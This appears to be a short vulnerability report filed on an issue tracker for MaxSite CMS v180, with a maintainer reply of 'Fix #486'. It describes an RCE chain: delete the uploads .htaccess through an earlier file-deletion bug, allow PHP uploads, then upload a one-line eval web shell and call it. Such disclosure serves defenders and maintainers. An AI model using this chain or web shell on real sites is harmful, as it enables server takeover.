Remote Code Execution Vulnerability In MaxSite CMS v180

[fuzzyap1]

Description of Vulnerability

The arbitrary file deletion vulnerability #486 can delete ~/cms-108/uploads/.htaccess, and then in /admin/options add the types of files allowed to be uploaded, it will allows hacker to bypass the protection system protection
upload malicious php files and execute malicious php code,eventually leading to a command execution vulnerability

Proof of concept (Poc)

1. in ~t/admin/options#a-zagruzki add 'php' in "* Разрешенные типы файлов для загрузок"
   
   2 . Use the method of Multiple Arbitrary File Deletion vulnerabilities #486 to delete ~/cms-108/uploads/.htaccess
   
2. upload php files whice containing malicious code:

<?php @eval($_GET['cmd']);?>

4. open the php file ~/uploads/cmd.php then rce
   

[maxsite]

Fix #486